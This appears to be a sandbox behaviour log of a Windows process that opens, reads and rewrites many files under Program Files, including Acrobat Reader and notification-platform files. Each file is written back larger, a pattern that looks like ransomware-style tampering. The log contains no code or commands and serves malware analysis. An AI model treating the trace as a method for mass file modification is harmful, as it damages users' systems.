File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\index.html, size = 222, size_out = 222	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\index.html, size = 1638	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ms-MY\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ms-MY\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ms-MY\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ms-MY\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ms-MY\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Back_0001_Static.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Back_0001_Static.png, size = 1136, size_out = 1136	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Back_0001_Static.png, size = 2552	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ro-RO\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ro-RO\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ro-RO\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ro-RO\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\ro-RO\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-CN\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-CN\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-CN\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-CN\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\zh-CN\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.008.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.008.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.008.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.008.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.008.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Windows Mail\en-US\WinMail.exe.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Mail\en-US\WinMail.exe.mui, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Windows Security\BrowserCore\manifest.json, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Security\BrowserCore\manifest.json, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Edit_R_Exp_RHP.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Edit_R_Exp_RHP.aapp, size = 407, size_out = 407	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Edit_R_Exp_RHP.aapp, size = 1823	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Pages_R_RHP.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Pages_R_RHP.aapp, size = 403, size_out = 403	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Pages_R_RHP.aapp, size = 1819	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe, size = 61440, size_out = 61440	8	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe, size = 8192, size_out = 8192	1	Fn Data
System	Sleep	duration = 0 milliseconds (0.000 seconds)	1	Fn
System	Sleep	duration = 10 milliseconds (0.010 seconds)	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe, size = 61440	8	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\manifest.json, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\manifest.json, size = 267, size_out = 267	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Browser\WCChromeExtn\manifest.json, size = 1683	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\adobepdf.xdc, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\adobepdf.xdc, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\adobepdf.xdc, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\adobepdf.xdc, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm\adobepdf.xdc, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\eBook.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\eBook.api, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\eBook.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\eBook.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\eBook.api, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\pi_brokers\32BitMAPIBroker.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Updater.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Updater.api, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Updater.api, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Updater.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Updater.api, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\reader_sl.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\end_review.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\dictionaries\en-US.dic, size = 900, size_out = 900	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\dictionaries\en-US.dic, size = 2316	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_joined.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_joined.gif, size = 914, size_out = 914	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_joined.gif, size = 2330	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\server_ok.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\server_ok.gif, size = 225, size_out = 225	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\server_ok.gif, size = 1641	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\warning.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\warning.gif, size = 369, size_out = 369	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\warning.gif, size = 1785	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-win8.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-win8.css, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-win8.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-cef-win8.css, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adobe_spinner_mini.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adobe_spinner_mini.gif, size = 303, size_out = 303	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adobe_spinner_mini.gif, size = 1719	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\dd_arrow_small.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\dd_arrow_small.png, size = 1099, size_out = 1099	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\dd_arrow_small.png, size = 2515	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons_retina_thumb.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons_retina_thumb.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons_retina_thumb.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons_retina_thumb.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ind_prog.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ind_prog.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ind_prog.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ind_prog.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\RHP_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\RHP_icons.png, size = 1009, size_out = 1009	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\RHP_icons.png, size = 2425	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adobe_spinner_mini.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adobe_spinner_mini.gif, size = 303, size_out = 303	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adobe_spinner_mini.gif, size = 1719	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\dd_arrow_small.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\dd_arrow_small.png, size = 1099, size_out = 1099	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\dd_arrow_small.png, size = 2515	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner2x.gif, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner2x.gif, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner2x.gif, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-up.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-up.png, size = 296, size_out = 296	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\arrow-up.png, size = 1712	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-down.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-down.gif, size = 66, size_out = 66	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-down.gif, size = 1482	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-left.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-left.gif, size = 63, size_out = 63	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-left.gif, size = 1479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-gb\ui-strings.js, size = 3449, size_out = 3449	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-gb\ui-strings.js, size = 4865	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ja-jp\ui-strings.js, size = 4099, size_out = 4099	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ja-jp\ui-strings.js, size = 5515	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sl-si\ui-strings.js, size = 3749, size_out = 3749	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sl-si\ui-strings.js, size = 5165	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\cs-cz\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\cs-cz\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\cs-cz\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-ma\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-ma\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-ma\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ro-ro\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ro-ro\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ro-ro\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
